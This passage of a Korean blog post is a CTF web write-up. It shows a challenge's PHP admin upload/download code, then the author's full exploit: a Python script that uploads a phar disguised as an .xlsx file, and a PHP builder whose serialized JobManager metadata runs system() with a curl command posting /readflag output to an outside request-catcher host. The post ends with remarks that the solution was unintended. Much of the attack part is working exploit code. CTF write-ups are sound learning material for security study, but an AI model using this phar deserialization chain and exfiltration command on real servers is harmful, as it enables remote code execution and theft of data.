$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if ($ext !== 'xlsx') {
alert("허용되지 않은 확장자입니다.", "./index.php");
}
// 임시 파일에서 /tmp 디렉토리로 이동
$destination = "/tmp/" . generate_uuid() . ".xlsx";
// 파일 이동
if (move_uploaded_file($file['tmp_name'], $destination)) {
if ($_GET['contentType'] === "json") {
header("Content-Type: application/json");
echo json_encode(Array(
"path" => $destination,
"size" => $file["size"],
"type" => $file["type"],
"original_name" => $file["name"]
));
} else {
var_dump(Array(
"path" => $destination,
"size" => $file["size"],
"type" => $file["type"],
"original_name" => $file["name"]
));
alert("업로드 완료!!", "./index.php");
}
} else {
alert("업로드 에러!", "./index.php");
}
}
?>
<?php
require_once "../lib/config.php";
if(!is_login() || !is_admin()) header("Location: ./login.php");
$path = $_GET["path"];
$file = new FileDownloader($path);
$file->download();
?>
<?php
class FileDownloader {
private $filePath;
public function __construct($filePath) {
while(strpos($filePath, "../") !== false) {
$filePath = str_replace("../", "", $filePath);
}
$this->filePath = $config["GlobalStorePath"].$filePath;
}
public function download() {
if (file_exists($this->filePath)) {
$fileSize = filesize($this->filePath);
if ($fileSize > 0) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($this->filePath) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . $fileSize);
flush();
readfile($this->filePath);
exit;
} else {
header('HTTP/1.1 204 No Content');
exit;
}
} else {
header('HTTP/1.1 404 Not Found');
exit;
}
}
}
class PackageManager {
static public function selectPackageInfo($packageName) {
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$command = ["rpm", "-qi", $packageName];
$proc = proc_open(
$command,
$descriptorspec,
$pipes
);
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);
return [$stdout, $stderr];
}
}
class Logger {
private $logFile;
public function __construct($filePath) {
$this->logFile = $filePath;
}
public function log($message) {
$timeStamp = date('Y-m-d H:i:s');
file_put_contents($this->logFile . ".log", "$timeStamp - $message\n", FILE_APPEND);
}
}
class NetworkInfo {
public function getServerIP() {
return $_SERVER['SERVER_ADDR'];
}
public function getNetworkInterfaces() {
return net_get_interfaces();
}
}
class ResourceMonitor {
public function _getServerLoadLinuxData() {
if (is_readable("/proc/stat")) {
$stats = @file_get_contents("/proc/stat");
if ($stats !== false) {
$stats = preg_replace("/[[:blank:]]+/", " ", $stats);
$stats = str_replace(array("\r\n", "\n\r", "\r"), "\n", $stats);
$stats = explode("\n", $stats);
foreach ($stats as $statLine)
{
$statLineData = explode(" ", trim($statLine));
if
(
(count($statLineData) >= 5) &&
($statLineData[0] == "cpu")
)
{
return array(
$statLineData[1],
$statLineData[2],
$statLineData[3],
$statLineData[4],
);
}
}
}
}
return null;
}
public function getServerLoad()
{
$load = null;
if (stristr(PHP_OS, "win")) {
$cmd = "wmic cpu get loadpercentage /all";
@exec($cmd, $output);
if ($output) {
foreach ($output as $line) {
if ($line && preg_match("/^[0-9]+\$/", $line)) {
$load = $line;
break;
}
}
}
} else {
if (is_readable("/proc/stat")) {
$statData1 = _getServerLoadLinuxData();
sleep(1);
$statData2 = _getServerLoadLinuxData();
if ((!is_null($statData1)) && (!is_null($statData2))) {
$statData2[0] -= $statData1[0];
$statData2[1] -= $statData1[1];
$statData2[2] -= $statData1[2];
$statData2[3] -= $statData1[3];
$cpuTime = $statData2[0] + $statData2[1] + $statData2[2] + $statData2[3];
$load = 100 - ($statData2[3] * 100 / $cpuTime);
}
}
}
return $load;
}
}
class AuthManager {
public function hashPassword($password) {
return password_hash($password, PASSWORD_DEFAULT);
}
public function verifyPassword($password, $hash) {
return password_verify($password, $hash);
}
public function generateAuthToken() {
return bin2hex(random_bytes(16));
}
}
class JobManager{
public $callback = null;
public $allowCallbackList = ["FileDownloader::", "PackageManager::", "Logger::", "NetworkInfo::", "ResourceMonitor::", "AuthManager::"];
public $arg = [];
private $jobs = [];
public function __construct($job, $callback, $arg) {
$this->add_Job($job);
$this->callback = $callback;
$this->arg = $arg;
}
public function add_Job($job) {
if(is_string($job) && !empty($job)) {
$this->jobs[] = $job;
} else {
throw new InvalidArgumentException("Invalid job provided");
}
}
public function flush() {
$this->callback = null;
$this->arg = null;
}
public function __destruct() {
foreach ($this->allowCallbackList as $ck) {
if(startsWith($this->callback, $ck)) {
call_user_func_array($this->callback, $this->arg);
}
}
}
}
?>
admin은 이렇게 파일 업로드 및 다운로드 기능을 쓸 수 있었는데..
이때 php 7.4가 사용되는 점 + 파일 다운로드 시 스키마 조작이 가능하다는 점 + 업로드할 때 파일 내용에 대한 검사가 미흡하다는 점 등을 악용하여 php 7.4 Phar Deserialization을 터트릴 수 있었다.
내 익스코드는 아래와 같았다.
import requests
import re
url = "http://52.231.191.39/admin/upload_process.php"
with open("./payload.xlsx","rb") as f:
payload = f.read()
files = {
'file': ('web.xlsx', payload, 'application/x-phar')
}
data = {
'contentType': 'html'
}
response = requests.post(url, files=files, data=data,allow_redirects=False)
print(response.text)
match = re.search(r'\"(/tmp/[^\"]+\.xlsx)\"', response.text)
if match:
file_path = match.group(1)
print("추출된 경로:", file_path)
url = "http://52.231.191.39/admin/download.php"
params = {
"path":"phar://" + file_path + "/image.png"
}
response = requests.get(url,params=params,allow_redirects=False)
print(response.text)
<?php
function startsWith($haystack, $needle) {
return $needle === "" || strrpos($haystack, $needle, -strlen($haystack)) !== false;
}
class JobManager{
public $callback = null;
public $allowCallbackList = ["system"];
public $arg = [];
private $jobs = [];
public function __construct($job, $callback, $arg) {
$this->add_Job($job);
$this->callback = $callback;
$this->arg = $arg;
}
public function add_Job($job) {
if(is_string($job) && !empty($job)) {
$this->jobs[] = $job;
} else {
throw new InvalidArgumentException("Invalid job provided");
}
}
public function flush() {
$this->callback = null;
$this->arg = null;
}
public function __destruct() {
foreach ($this->allowCallbackList as $ck) {
if(startsWith($this->callback, $ck)) {
call_user_func_array($this->callback, $this->arg);
}
}
}
}
$lol = new JobManager("1234","system",['curl -X POST -d "$(/readflag)" https://svthcga.request.dreamhack.games']);
$phar = new Phar("payload.phar");
$phar->startBuffering();
$phar->addFile("image.png", "image.png");
$phar->setStub(file_get_contents("./image.png") . " __HALT_COMPILER();?>");
$phar->setMetadata($lol);
$phar->stopBuffering();
system("mv payload.phar payload.xlsx");
readfile("phar://payload.xlsx/image.png");
?>
나는 문제 풀고나서 "와 그러면 Bot 구현해둔게 페이크네 출제자 쓰레기네" 라고 생각했었다.
근데 나중에 보니..
아니었고 진짜 XSS가 있었다. ㅋㅋㅋㅋㅋㅋㅋ
인텐은 XSS -> Phar 7.4 Deserialization 이었던 거 같은데..
내 풀이가 언인텐이었다.
출제자님 죄송합니다..
후기
요즘 문제가 너무 트릭류가 나오는 거 같다.
개인적으로 별로 안좋아하는 류의 문제인데..
이해는 된다.
리얼월드 쪽으로 내자니 사람들 오디팅 실력이 좋아져서 빨리 분석하고 다 풀어버리고,
1day를 쓰자니 ref가 너무 많고 잘 나와있어서 문제가 너무 쉬워지니..
트릭류를 내는 것 같은데..
난 그래도 리얼월드 계열 문제가 나오면 좋겠다.
이게 개인적으로 재밌기 때문이다.
암튼 코게는 아쉽지만 CCE는 나름 만족스러웠고, 앞으로 CTF에서도 좋은 결과 있었으면 좋겠다.
재밌었습니다..!
'후기,라이트업' 카테고리의 다른 글
2024 CCE CTF Preliminaries Web All Writeup (0) | 2024.08.05 |
---|---|
Theori SA팀 최종합격 후기 (5) | 2024.05.14 |
2024 LA CTF Web writeup (9) | 2024.02.20 |
2024 Dice CTF Write up [Web] (2) | 2024.02.06 |
2023 화이트햇콘테스트 후기 + Web 라이트업 (3) | 2023.09.18 |